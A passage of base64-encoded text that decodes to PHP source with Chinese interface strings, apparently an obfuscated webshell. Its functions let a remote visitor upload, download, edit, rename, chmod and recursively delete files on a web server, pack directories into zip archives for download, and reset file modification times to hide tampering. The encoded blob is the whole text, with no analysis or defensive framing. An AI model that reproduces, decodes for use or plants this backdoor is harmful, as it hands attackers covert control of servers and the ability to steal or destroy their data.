AiJyAuICRoZXhkdGltZSAuICciOycpOw0KCQkkZnIJPSAiXHg1MFx4NGJceDAzXHgwNCI7DQoJCSRmcgkuPSAiXHgxNFx4MDAiOw0KCQkkZnIJLj0gIlx4MDBceDAwIjsNCgkJJGZyCS49ICJceDA4XHgwMCI7DQoJCSRmcgkuPSAkaGV4ZHRpbWU7DQoJCSR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsNCgkJJGNyYyA9IGNyYzMyKCRkYXRhKTsNCgkJJHpkYXRhID0gZ3pjb21wcmVzcygkZGF0YSk7DQoJCSRjX2xlbiA9IHN0cmxlbigkemRhdGEpOw0KCQkkemRhdGEgPSBzdWJzdHIoc3Vic3RyKCR6ZGF0YSwgMCwgc3RybGVuKCR6ZGF0YSkgLSA0KSwgMik7DQoJCSRmciAuPSBwYWNrKCdWJywgJGNyYyk7DQoJCSRmciAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQoJCSRmciAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSk7DQoJCSRmciAuPSBwYWNrKCd2JywgMCk7DQoJCSRmciAuPSAkbmFtZTsNCgkJJGZyIC49ICR6ZGF0YTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkY3JjKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KCQkkZnIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCgkJJHRoaXMgLT4gZGF0YXNlY1tdID0gJGZyOw0KCQkkbmV3X29mZnNldCA9IHN0cmxlbihpbXBsb2RlKCcnLCAkdGhpcy0+ZGF0YXNlYykpOw0KCQkkY2RyZWMgPSAiXHg1MFx4NGJceDAxXHgwMiI7DQoJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOw0KCQkkY2RyZWMgLj0gIlx4MTRceDAwIjsNCgkJJGNkcmVjIC49ICJceDAwXHgwMCI7DQoJCSRjZHJlYyAuPSAiXHgwOFx4MDAiOw0KCQkkY2RyZWMgLj0gJGhleGR0aW1lOw0KCQkkY2RyZWMgLj0gcGFjaygnVicsICRjcmMpOw0KCQkkY2RyZWMgLj0gcGFjaygnVicsICRjX2xlbik7DQoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJHVuY19sZW4pOw0KCQkkY2RyZWMgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkgKTsNCgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQoJCSRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQoJCSRjZHJlYyAuPSBwYWNrKCdWJywgMzIgKTsNCgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkdGhpcyAtPiBvbGRfb2Zmc2V0ICk7DQoJCSR0aGlzIC0+IG9sZF9vZmZzZXQgPSAkbmV3X29mZnNldDsNCgkJJGNkcmVjIC49ICRuYW1lOw0KCQkkdGhpcyAtPiBjdHJsX2RpcltdID0gJGNkcmVjOw0KCX0NCglmdW5jdGlvbiBwYWNrZmlsZSgpDQoJew0KCQkkZGF0YSAgICA9IGltcGxvZGUoJycsICR0aGlzIC0+IGRhdGFzZWMpOw0KCQkkY3RybGRpciA9IGltcGxvZGUoJycsICR0aGlzIC0+IGN0cmxfZGlyKTsNCgkJcmV0dXJuICRkYXRhLiRjdHJsZGlyLiR0aGlzIC0+IGVvZl9jdHJsX2Rpci5wYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkucGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpLnBhY2soJ1YnLCBzdHJsZW4oJGN0cmxkaXIpKS5wYWNrKCdWJywgc3RybGVuKCRkYXRhKSkuIlx4MDBceDAwIjsNCgl9DQp9DQpmdW5jdGlvbiBGaWxlX1N0cigkc3RyaW5nKQ0Kew0KCXJldHVybiBzdHJfcmVwbGFjZSgnLy8nLCcvJyxzdHJfcmVwbGFjZSgnXFwnLCcvJywkc3RyaW5nKSk7DQp9DQpmdW5jdGlvbiBGaWxlX1NpemUoJHNpemUpDQp7DQoJaWYoJHNpemUgPiAxMDczNzQxODI0KSAkc2l6ZSA9IHJvdW5kKCRzaXplIC8gMTA3Mzc0MTgyNCAqIDEwMCkgLyAxMDAgLiAnIEcnOw0KCWVsc2VpZigkc2l6ZSA+IDEwNDg1NzYpICRzaXplID0gcm91bmQoJHNpemUgLyAxMDQ4NTc2ICogMTAwKSAvIDEwMCAuICcgTSc7DQoJZWxzZWlmKCRzaXplID4gMTAyNCkgJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwMjQgKiAxMDApIC8gMTAwIC4gJyBLJzsNCgllbHNlICRzaXplID0gJHNpemUgLiAnIEInOw0KCXJldHVybiAkc2l6ZTsNCn0NCmZ1bmN0aW9uIEZpbGVfTW9kZSgpDQp7DQoJJFJlYWxQYXRoID0gcmVhbHBhdGgoJy4vJyk7DQoJJFNlbGZQYXRoID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107DQoJJFNlbGZQYXRoID0gc3Vic3RyKCRTZWxmUGF0aCwgMCwgc3RycnBvcygkU2VsZlBhdGgsJy8nKSk7DQoJcmV0dXJuIEZpbGVfU3RyKHN1YnN0cigkUmVhbFBhdGgsIDAsIHN0cmxlbigkUmVhbFBhdGgpIC0gc3RybGVuKCRTZWxmUGF0aCkpKTsNCn0NCmZ1bmN0aW9uIEZpbGVfUmVhZCgkZmlsZW5hbWUpDQp7DQoJJGhhbmRsZSA9IEBmb3BlbigkZmlsZW5hbWUsInJiIik7DQoJJGZpbGVjb2RlID0gQGZyZWFkKCRoYW5kbGUsQGZpbGVzaXplKCRmaWxlbmFtZSkpOw0KCUBmY2xvc2UoJGhhbmRsZSk7DQoJcmV0dXJuICRmaWxlY29kZTsNCn0NCmZ1bmN0aW9uIEZpbGVfV3JpdGUoJGZpbGVuYW1lLCRmaWxlY29kZSwkZmlsZW1vZGUpDQp7DQoJJGtleSA9IHRydWU7DQoJJGhhbmRsZSA9IEBmb3BlbigkZmlsZW5hbWUsJGZpbGVtb2RlKTsNCglpZighQGZ3cml0ZSgkaGFuZGxlLCRmaWxlY29kZSkpDQoJew0KCQlAY2htb2QoJGZpbGVuYW1lLDA2NjYpOw0KCQkka2V5ID0gQGZ3cml0ZSgkaGFuZGxlLCRmaWxlY29kZSkgPyB0cnVlIDogZmFsc2U7DQoJfQ0KCUBmY2xvc2UoJGhhbmRsZSk7DQoJcmV0dXJuICRrZXk7DQp9DQpmdW5jdGlvbiBGaWxlX1VwKCRmaWxlYSwkZmlsZWIpDQp7DQoJJGtleSA9IEBjb3B5KCRmaWxlYSwkZmlsZWIpID8gdHJ1ZSA6IGZhbHNlOw0KCWlmKCEka2V5KSAka2V5ID0gQG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZWEsJGZpbGViKSA/IHRydWUgOiBmYWxzZTsNCglyZXR1cm4gJGtleTsNCn0NCmZ1bmN0aW9uIEZpbGVfRG93bigkZmlsZW5hbWUpDQp7DQoJaWYoIWZpbGVfZXhpc3RzKCRmaWxlbmFtZSkpIHJldHVybiBmYWxzZTsNCgkkZmlsZWRvd24gPSBiYXNlbmFtZSgkZmlsZW5hbWUpOw0KCSRhcnJheSA9IGV4cGxvZGUoJy4nLCAkZmlsZWRvd24pOw0KCSRhcnJheWVuZCA9IGFycmF5X3BvcCgkYXJyYXkpOw0KCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGFycmF5ZW5kKTsNCgloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVkb3duKTsNCgloZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnLmZpbGVzaXplKCRmaWxlbmFtZSkpOw0KCUByZWFkZmlsZSgkZmlsZW5hbWUpOw0KCWV4aXQ7DQp9DQpmdW5jdGlvbiBGaWxlX0RlbHRyZWUoJGRlbGRpcikNCnsNCglpZigoJG15ZGlyID0gQG9wZW5kaXIoJGRlbGRpcikpID09IE5VTEwpIHJldHVybiBmYWxzZTsNCgl3aGlsZShmYWxzZSAhPT0gKCRmaWxlID0gQHJlYWRkaXIoJG15ZGlyKSkpDQoJew0KCQkkbmFtZSA9IEZpbGVfU3RyKCRkZWxkaXIuJy8nLiRmaWxlKTsNCgkJaWYoKGlzX2RpcigkbmFtZSkpICYmICgkZmlsZSE9Jy4nKSAmJiAoJGZpbGUhPScuLicpKXtAY2htb2QoJG5hbWUsMDc3Nyk7RmlsZV9EZWx0cmVlKCRuYW1lKTt9DQoJCWlmKGlzX2ZpbGUoJG5hbWUpKXtAY2htb2QoJG5hbWUsMDc3Nyk7QHVubGluaygkbmFtZSk7fQ0KCX0NCglAY2xvc2VkaXIoJG15ZGlyKTsNCglAY2htb2QoJGRlbGRpciwwNzc3KTsNCglyZXR1cm4gQHJtZGlyKCRkZWxkaXIpID8gdHJ1ZSA6IGZhbHNlOw0KfQ0KZnVuY3Rpb24gRmlsZV9BY3QoJGFycmF5LCRhY3RhbGwsJGludmVyKQ0Kew0KCWlmKCgkY291bnQgPSBjb3VudCgkYXJyYXkpKSA9PSAwKSByZXR1cm4gJ8fr0aHU8c7EvP4nOw0KCWlmKCRhY3RhbGwgPT0gJ2UnKQ0KCXsNCgkJJHppcCA9IG5ldyBwYWNrZGlyOw0KCQlpZigkemlwLT5wYWNrZGlyKCRhcnJheSkpeyRzcGlkZXIgPSAkemlwLT5vdXQ7aGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3Vua25vd24iKTtoZWFkZXIoIkFjY2VwdC1SYW5nZXM6IGJ5dGVzIik7aGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5zdHJsZW4oJHNwaWRlcikpO2hlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ii4kaW52ZXIuIjsiKTtlY2hvICRzcGlkZXI7ZXhpdDt9DQoJCXJldHVybiAntPKw/M7EvP7Kp7DcJzsNCgl9DQoJJGkgPSAwOw0KCXdoaWxlKCRpIDwgJGNvdW50KQ0KCXsNCgkJJGFycmF5WyRpXSA9IHVybGRlY29kZSgkYXJyYXlbJGldKTsNCgkJc3dpdGNoKCRhY3RhbGwpDQoJCXsNCgkJCWNhc2UgImEiIDogJGludmVyID0gdXJsZGVjb2RlKCRpbnZlcik7IGlmKCFpc19kaXIoJGludmVyKSkgcmV0dXJuICfCt762tO3O8yc7ICRmaWxlbmFtZSA9IGFycmF5X3BvcChleHBsb2RlKCcvJywkYXJyYXlbJGldKSk7IEBjb3B5KCRhcnJheVskaV0sRmlsZV9TdHIoJGludmVyLicvJy4kZmlsZW5hbWUpKTsgJG1zZyA9ICe4tNbGtb0nLiRpbnZlci4nxL/CvCc7IGJyZWFrOw0KCQkJY2FzZSAiYiIgOiBpZighQHVubGluaygkYXJyYXlbJGldKSl7QGNobW9kKCRmaWxlbmFtZSwwNjY2KTtAdW5saW5rKCRhcnJheVskaV0pO30gJG1zZyA9ICfJvrP9JzsgYnJlYWs7DQoJCQljYXNlICJjIiA6IGlmKCFlcmVnaSgiXlswLTddezR9JCIsJGludmVyKSkgcmV0dXJuICfK9NDU1rW07c7zJzsgJG5ld21vZGUgPSBiYXNlX2NvbnZlcnQoJGludmVyLDgsMTApOyBAY2htb2QoJGFycmF5WyRpXSwkbmV3bW9kZSk7ICRtc2cgPSAnyvTQ1NDeuMTOqicuJGludmVyOyBicmVhazsNCgkJCWNhc2UgImQiIDogQHRvdWNoKCRhcnJheVskaV0sc3RydG90aW1lKCRpbnZlcikpOyAkbXNnID0gJ9DeuMTKsbzkzqonLiRpbnZlcjsgYnJlYWs7DQoJCX0NCgkJJGkrKzsNCgl9DQoJcmV0dXJuICfL+dGhzsS8/icuJG1zZy4nzeqxzyc7DQp9DQpmdW5jdGlvbiBGaWxlX0VkaXQoJGZpbGVwYXRoLCRmaWxlbmFtZSwkZGltID0gJycpDQp7DQoJJFRISVNfRElSID0gdXJsZW5jb2RlKCRmaWxlcGF0aCk7DQoJJFRISVNfRklMRSA9IEZpbGVfU3RyKCRmaWxlcGF0aC4nLycuJGZpbGVuYW1lKTsNCglpZihmaWxlX2V4aXN0cygkVEhJU19GSUxFKSl7JEZJTEVfVElNRSA9IEBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRUSElTX0ZJTEUpKTskRklMRV9DT0RFID0gaHRtbHNwZWNpYWxjaGFycyhGaWxlX1JlYWQoJFRISVNfRklMRSkpO30NCgllbHNlIHskRklMRV9USU1FID0gQGRhdGUoJ1ktbS1kIEg6aTpzJyx0aW1lKCkpOyRGSUxFX0NPREUgPSAnJzt9DQoJcHJpbnQ8PDxFTkQNCjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPg0KdmFyIE5TNCA9IChkb2N1bWVudC5sYXllcnMpOw0KdmFyIElFNCA9IChkb2N1bWVudC5hbGwpOw0KdmFyIHdpbiA9IHRoaXM7DQp2YXIgbiA9IDA7DQpmdW5jdGlvbiBzZWFyY2goc3RyKXsNCgl2YXIgdHh0LCBpLCBmb3VuZDsNCglpZihzdHIgPT0gIiIpcmV0dXJuIGZhbHNlOw0KCWlmKE5TNCl7DQoJCWlmKCF3aW4uZmluZChzdHIpKSB3aGlsZSh3aW4uZmluZChzdHIsIGZhbHNlLCB0cnVlKSkgbisrOyBlbHNlIG4rKzsNCgkJaWYobiA9PSAwKSBhbGVydChzdHIgKyAiIC4uLiBOb3QtRmluZCIpDQoJfQ0KCWlmKElFNCl7DQoJCXR4dCA9IHdpbi5kb2N1bWVudC5ib2R5LmNyZWF0ZVRleHRSYW5nZSgpOw0KCQlmb3IoaSA9IDA7IGkgPD0gbiAmJiAoZm91bmQgPSB0eHQuZmluZFRleHQoc3RyKSkgIT0gZmFsc2U7IGkrKyl7DQoJCQl0eHQubW92ZVN0YXJ0KCJjaGFyYWN0ZXIiLCAxKTsNCgkJCXR4dC5tb3ZlRW5kKCJ0ZXh0ZWRpdCIpDQoJCX0NCgkJaWYoZm91bmQpe3R4dC5tb3ZlU3RhcnQoImNoYXJhY3RlciIsIC0xKTt0eHQuZmluZFRleHQoc3RyKTt0eHQuc2VsZWN0KCk7dHh0LnNjcm9sbEludG9WaWV3KCk7bisrfQ0KCQllbHNle2lmIChuID4gMCl7biA9IDA7c2VhcmNoKHN0cil9ZWxzZSBhbGVydChzdHIgKyAiLi4uIE5vdC1GaW5kIil9DQoJfQ0KCXJldHVybiBmYWxzZQ0KfQ0KZnVuY3Rpb24gQ2hlY2tEYXRlKCl7DQoJdmFyIHJlID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ210aW1lJykudmFsdWU7DQoJdmFyIHJlZyA9IC9eKFxcZHsxLDR9KSgtfFxcLykoXFxkezEsMn0pXFwyKFxcZHsxLDJ9KSAoXFxkezEsMn0pOihcXGR7MSwyfSk6KFxcZHsxLDJ9KSQvOw0KCXZhciByID0gcmUubWF0Y2gocmVnKTsNCglpZihyPT1udWxsKXthbGVydCgnyNXG2rjxyr2yu9X9yLchuPHKvTp5eXl5LW1tLWRkIGhoOm1tOnNzJyk7cmV0dXJuIGZhbHNlO30NCgllbHNle2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0b3InKS5zdWJtaXQoKTt9DQp9DQo8L3NjcmlwdD4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+sunV0sTayN06IDxpbnB1dCBuYW1lPSJzZWFyY2hzIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0ieyRkaW19IiBzdHlsZT0id2lkdGg6NTAwcHg7Ij4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSKy6dXSIiBvbmNsaWNrPSJzZWFyY2goc2VhcmNocy52YWx1ZSkiPjwvZGl2Pg0KPGZvcm0gbWV0aG9kPSJQT1NUIiBpZD0iZWRpdG9yIiBhY3Rpb249Ij9zPWEmcD17JFRISVNfRElSfSI+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwZm4iIHZhbHVlPSJ7JFRISVNfRklMRX0iIHN0eWxlPSJ3aWR0aDo3NTBweDsiPjwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj48dGV4dGFyZWEgbmFtZT0icGZjIiBpZCBzdHlsZT0id2lkdGg6NzUwcHg7aGVpZ2h0OjM4MHB4OyI+eyRGSUxFX0NPREV9PC90ZXh0YXJlYT48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+zsS8/tDeuMTKsbzkIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtdGltZSIgaWQ9Im10aW1lIiB2YWx1ZT0ieyRGSUxFX1RJTUV9IiBzdHlsZT0id2lkdGg6MTUwcHg7Ij48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9IrGjtOYiIG9uY2xpY2s9IkNoZWNrRGF0ZSgpOyIgc3R5bGU9IndpZHRoOjgwcHg7Ij4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSK3tbvYIiBvbmNsaWNrPSJ3aW5kb3cubG9jYXRpb249Jz9zPWEmcD17JFRISVNfRElSfSc7IiBzdHlsZT0id2lkdGg6ODBweDsiPjwvZGl2Pg0KPC9mb3JtPg0KRU5EOw0KfQ0KZnVuY3Rpb24gRmlsZV9Tb3VwKCRwKQ0Kew0KCSRUSElTX0RJUiA9IHVybGVuY29kZSgkcCk7DQoJJFVQX1NJWkUgPSBnZXRfY2ZnX3ZhcigndXBsb2FkX21heF9maWxlc2l6ZScpOw0KCSRNU0dfQk9YID0gJ7WluPa4vbz+1MrQ7bTz0KE6Jy4kVVBfU0laRS4nLCC4xMP7uPHKvShuZXcucGhwKSzI586qv9Us1PKxo7PW1K3OxLz+w/suJzsNCglpZighZW1wdHkoJF9QT1NUWyd1cGRpciddKSkNCgl7DQoJCWlmKGNvdW50KCRfRklMRVNbJ3NvdXAnXSkgPj0gMSkNCgkJew0KCQkJJGkgPSAwOw0KCQkJZm9yZWFjaCAoJF9GSUxFU1snc291cCddWydlcnJvciddIGFzICRrZXkgPT4gJGVycm9yKQ0KCQkJew0KCQkJCWlmICgkZXJyb3IgPT0gVVBMT0FEX0VSUl9PSykNCgkJCQl7DQoJCQkJCSRzb3VwdG1wID0gJF9GSUxFU1snc291cCddWyd0bXBfbmFtZSddWyRrZXldOw0KCQkJCQlpZighZW1wdHkoJF9QT1NUWydyZXVwJ11bJGldKSkkc291cG5hbWUgPSAkX1BPU1RbJ3JldXAnXVskaV07IGVsc2UgJHNvdXBuYW1lID0gJF9GSUxFU1snc291cCddWyduYW1lJ11bJGtleV07DQoJCQkJCSRNU0dbJGldID0gRmlsZV9VcCgkc291cHRtcCxGaWxlX1N0cigkX1BPU1RbJ3VwZGlyJ10uJy8nLiRzb3VwbmFtZSkpID8gJHNvdXBuYW1lLifJz7Srs8m5picgOiAkc291cG5hbWUuJ8nPtKvKp7DcJzsNCgkJCQl9DQoJCQkJJGkrKzsNCgkJCX0NCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRNU0dfQk9YID0gJ8fr0aHU8c7EvP4nOw0KCQl9DQoJfQ0KCXByaW50PDw8RU5EDQo8ZGl2IGNsYXNzPSJtc2dib3giPnskTVNHX0JPWH08L2Rpdj4NCjxmb3JtIG1ldGhvZD0iUE9TVCIgaWQ9ImVkaXRvciIgYWN0aW9uPSI/cz1xJnA9eyRUSElTX0RJUn0iIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KPGRpdiBjbGFzcz0iYWN0YWxsIj7Jz7Srtb3Ev8K8OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXBkaXIiIHZhbHVlPSJ7JHB9IiBzdHlsZT0id2lkdGg6NTMxcHg7aGVpZ2h0OjIycHg7Ij48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+uL28/jEgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InNvdXBbXSIgc3R5bGU9IndpZHRoOjMwMHB4O2hlaWdodDoyMnB4OyI+ILjEw/sgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InJldXBbXSIgc3R5bGU9IndpZHRoOjEzMHB4O2hlaWdodDoyMnB4OyI+ICRNU0dbMF0gPC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPri9vP4yIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJzb3VwW10iIHN0eWxlPSJ3aWR0aDozMDBweDtoZWlnaHQ6MjJweDsiPiC4xMP7IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZXVwW10iIHN0eWxlPSJ3aWR0aDoxMzBweDtoZWlnaHQ6MjJweDsiPiAkTVNHWzFdIDwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj64vbz+MyA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0ic291cFtdIiBzdHlsZT0id2lkdGg6MzAwcHg7aGVpZ2h0OjIycHg7Ij4guMTD+yA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icmV1cFtdIiBzdHlsZT0id2lkdGg6MTMwcHg7aGVpZ2h0OjIycHg7Ij4gJE1TR1syXSA8L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+uL28/jQgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InNvdXBbXSIgc3R5bGU9IndpZHRoOjMwMHB4O2hlaWdodDoyMnB4OyI+ILjEw/sgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InJldXBbXSIgc3R5bGU9IndpZHRoOjEzMHB4O2hlaWdodDoyMnB4OyI+ICRNU0dbM10gPC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPri9vP41IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJzb3VwW10iIHN0eWxlPSJ3aWR0aDozMDBweDtoZWlnaHQ6MjJweDsiPiC4xMP7IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZXVwW10iIHN0eWxlPSJ3aWR0aDoxMzBweDtoZWlnaHQ6MjJweDsiPiAkTVNHWzRdIDwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj64vbz+NiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0ic291cFtdIiBzdHlsZT0id2lkdGg6MzAwcHg7aGVpZ2h0OjIycHg7Ij4guMTD+yA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icmV1cFtdIiBzdHlsZT0id2lkdGg6MTMwcHg7aGVpZ2h0OjIycHg7Ij4gJE1TR1s1XSA8L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+uL28/jcgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InNvdXBbXSIgc3R5bGU9IndpZHRoOjMwMHB4O2hlaWdodDoyMnB4OyI+ILjEw/sgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InJldXBbXSIgc3R5bGU9IndpZHRoOjEzMHB4O2hlaWdodDoyMnB4OyI+ICRNU0dbNl0gPC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPri9vP44IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJzb3VwW10iIHN0eWxlPSJ3aWR0aDozMDBweDtoZWlnaHQ6MjJweDsiPiC4xMP7IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZXVwW10iIHN0eWxlPSJ3aWR0aDoxMzBweDtoZWlnaHQ6MjJweDsiPiAkTVNHWzddIDwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iyc+0qyIgc3R5bGU9IndpZHRoOjgwcHg7Ij4gPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9Ire1u9giIG9uY2xpY2s9IndpbmRvdy5sb2NhdGlvbj0nP3M9YSZwPXskVEhJU19ESVJ9JzsiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+DQo8L2Zvcm0+DQpFTkQ7DQp9DQpmdW5jdGlvbiBGaWxlX2EoJHApDQp7DQoJaWYoISRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSAkR0VUVVJMID0gJyc7IGVsc2UgJEdFVFVSTCA9ICdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4nLyc7DQoJJE1TR19CT1ggPSAntci0/c/7z6K208HQJzsNCgkkVVBfRElSID0gdXJsZW5jb2RlKEZpbGVfU3RyKCRwLicvLi4nKSk7DQoJJFJFQUxfRElSID0gRmlsZV9TdHIocmVhbHBhdGgoJHApKTsNCgkkRklMRV9ESVIgPSBGaWxlX1N0cihkaXJuYW1lKF9fRklMRV9fKSk7DQoJJFJPT1RfRElSID0gRmlsZV9Nb2RlKCk7DQoJJFRISVNfRElSID0gdXJsZW5jb2RlKEZpbGVfU3RyKCRSRUFMX0RJUikpOw0KCSROVU1fRCA9IDA7DQoJJE5VTV9GID0gMDsNCglpZighZW1wdHkoJF9QT1NUWydwZm4nXSkpeyRpbnRpbWUgPSBAc3RydG90aW1lKCRfUE9TVFsnbXRpbWUnXSk7JE1TR19CT1ggPSBGaWxlX1dyaXRlKCRfUE9TVFsncGZuJ10sJF9QT1NUWydwZmMnXSwnd2InKSA/ICex4LytzsS8/iAnLiRfUE9TVFsncGZuJ10uJyCzybmmJyA6ICex4LytzsS8/iAnLiRfUE9TVFsncGZuJ10uJyDKp7DcJztAdG91Y2goJF9QT1NUWydwZm4nXSwkaW50aW1lKTt9DQoJaWYoIWVtcHR5KCRfRklMRVNbJ3VmcCddWyduYW1lJ10pKXtpZigkX1BPU1RbJ3VmbiddICE9ICcnKSAkdXBmaWxlbmFtZSA9ICRfUE9TVFsndWZuJ107IGVsc2UgJHVwZmlsZW5hbWUgPSAkX0ZJTEVTWyd1ZnAnXVsnbmFtZSddOyRNU0dfQk9YID0gRmlsZV9VcCgkX0ZJTEVTWyd1ZnAnXVsndG1wX25hbWUnXSxGaWxlX1N0cigkUkVBTF9ESVIuJy8nLiR1cGZpbGVuYW1lKSkgPyAnyc+0q87EvP4gJy4kdXBmaWxlbmFtZS4nILPJuaYnIDogJ8nPtKvOxLz+ICcuJHVwZmlsZW5hbWUuJyDKp7DcJzt9DQoJaWYoIWVtcHR5KCRfUE9TVFsnYWN0YWxsJ10pKXskTVNHX0JPWCA9IEZpbGVfQWN0KCRfUE9TVFsnZmlsZXMnXSwkX1BPU1RbJ2FjdGFsbCddLCRfUE9TVFsnaW52ZXInXSk7fQ0KCWlmKGlzc2V0KCRfR0VUWydtZCddKSl7JG1vZGZpbGUgPSBGaWxlX1N0cigkUkVBTF9ESVIuJy8nLiRfR0VUWydtayddKTsgaWYoIWVyZWdpKCJeWzAtN117NH0kIiwkX0dFVFsnbWQnXSkpICRNU0dfQk9YID0gJ8r00NTWtbTtzvMnOyBlbHNlICRNU0dfQk9YID0gQGNobW9kKCRtb2RmaWxlLGJhc2VfY29udmVydCgkX0dFVFsnbWQnXSw4LDEwKSkgPyAn0N64xCAnLiRtb2RmaWxlLicgyvTQ1M6qICcuJF9HRVRbJ21kJ10uJyCzybmmJyA6ICfQ3rjEICcuJG1vZGZpbGUuJyDK9NDUzqogJy4kX0dFVFsnbWQnXS4nIMqnsNwnO30NCglpZihpc3NldCgkX0dFVFsnbW4nXSkpeyRNU0dfQk9YID0gQHJlbmFtZShGaWxlX1N0cigkUkVBTF9ESVIuJy8nLiRfR0VUWydtbiddKSxGaWxlX1N0cigkUkVBTF9ESVIuJy8nLiRfR0VUWydybiddKSkgPyAnuMTD+yAnLiRfR0VUWydtbiddLicgzqogJy4kX0dFVFsncm4nXS4nILPJuaYnIDogJ7jEw/sgJy4kX0dFVFsnbW4nXS4nIM6qICcuJF9HRVRbJ3JuJ10uJyDKp7DcJzt9DQoJaWYoaXNzZXQoJF9HRVRbJ2RuJ10pKXskTVNHX0JPWCA9IEBta2RpcihGaWxlX1N0cigkUkVBTF9ESVIuJy8nLiRfR0VUWydkbiddKSwwNzc3KSA/ICe0tL2oxL/CvCAnLiRfR0VUWydkbiddLicgs8m5picgOiAntLS9qMS/wrwgJy4kX0dFVFsnZG4nXS4nIMqnsNwnO30NCglpZihpc3NldCgkX0dFVFsnZGQnXSkpeyRNU0dfQk9YID0gRmlsZV9EZWx0cmVlKCRfR0VUWydkZCddKSA/ICfJvrP9xL/CvCAnLiRfR0VUWydkZCddLicgs8m5picgOiAnyb6z/cS/wrwgJy4kX0dFVFsnZGQnXS4nIMqnsNwnO30NCglpZihpc3NldCgkX0dFVFsnZGYnXSkpe2lmKCFGaWxlX0Rvd24oJF9HRVRbJ2RmJ10pKSAkTVNHX0JPWCA9ICfPwtTYzsS8/rK7tObU2ic7fQ0KCVJvb3RfQ1NTKCk7DQoJcHJpbnQ8PDxFTkQNCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCglmdW5jdGlvbiBJbnB1dG9rKG1zZyxnb3VybCkNCgl7DQoJCXNtc2cgPSAitbHHsM7EvP46WyIgKyBtc2cgKyAiXSI7DQoJCXJlID0gcHJvbXB0KHNtc2csdW5lc2NhcGUobXNnKSk7DQoJCWlmKHJlKQ0KCQl